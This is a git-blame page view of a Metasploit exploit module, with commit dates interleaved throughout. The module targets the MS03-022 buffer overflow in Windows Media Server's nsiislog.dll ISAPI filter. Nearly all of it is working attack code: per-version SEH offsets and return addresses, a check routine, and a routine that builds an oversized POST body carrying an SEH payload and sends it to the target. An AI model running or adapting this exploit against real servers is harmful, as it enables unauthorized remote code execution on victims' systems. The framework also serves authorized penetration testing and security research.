Files
metasploit-gs/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

99 lines
2.9 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::BruteTargets
include Msf::Exploit::Remote::Seh
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
def initialize(info = {})
super(update_info(info,
2014-03-28 20:56:53 -05:00
'Name' => 'MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
2005-12-26 14:34:22 +00:00
'Description' => %q{
This exploits a buffer overflow found in the nsiislog.dll
2005-12-26 14:34:22 +00:00
ISAPI filter that comes with Windows Media Server. This
module will also work against the 'patched' MS03-019
version. This vulnerability was addressed by MS03-022.
},
'Author' => [ 'hdm' ],
2006-01-21 22:10:20 +00:00
'License' => MSF_LICENSE,
2005-12-26 14:34:22 +00:00
'References' =>
[
2006-11-28 17:18:43 +00:00
[ 'CVE', '2003-0349'],
[ 'OSVDB', '4535'],
[ 'BID', '8035'],
2005-12-26 14:34:22 +00:00
[ 'MSB', 'MS03-022'],
[ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
'StackAdjustment' => -3500,
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
},
'Platform' => 'win',
'Targets' =>
2005-12-26 14:34:22 +00:00
[
# SEH offsets by version (Windows 2000)
# 4.1.0.3917 = 9992
# 4.1.0.3920 = 9992
# 4.1.0.3927 = 9992
# 4.1.0.3931 = 14092
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
['Brute Force', { }],
['Windows 2000 -MS03-019', { 'Rets' => [ 9988, 0x40f01333 ] }],
['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }],
['Windows XP -MS03-019', { 'Rets' => [ 9992, 0x40f011e0 ] }],
2005-12-26 14:34:22 +00:00
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2003-06-25',
2005-12-26 14:34:22 +00:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('URL', [ true, "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),
])
2005-12-26 14:34:22 +00:00
end
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
def check
res = send_request_raw({
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['URL'])
2006-12-28 23:42:36 +00:00
}, -1)
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
if (res and res.body =~ /NetShow ISAPI/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
def exploit_target(target)
2013-08-30 16:28:54 -05:00
# Create a buffer greater than max SEH offset (16384)
pst = rand_text_alphanumeric(256) * 64
2013-08-30 16:28:54 -05:00
# Create SEH frame and insert into buffer
seh = generate_seh_payload(target['Rets'][1])
pst[target['Rets'][0], seh.length] = seh
2013-08-30 16:28:54 -05:00
# Send it to the server
2006-12-28 23:42:36 +00:00
print_status("Sending request...")
res = send_request_cgi({
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['URL']),
2005-12-26 14:34:22 +00:00
'method' => 'POST',
'user-agent' => 'NSPlayer/2.0',
'content-type' => 'application/x-www-form-urlencoded',
'data' => pst
2006-12-28 23:42:36 +00:00
}, 5)
2013-08-30 16:28:54 -05:00
select(nil,nil,nil,1)
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
handler
disconnect
end
end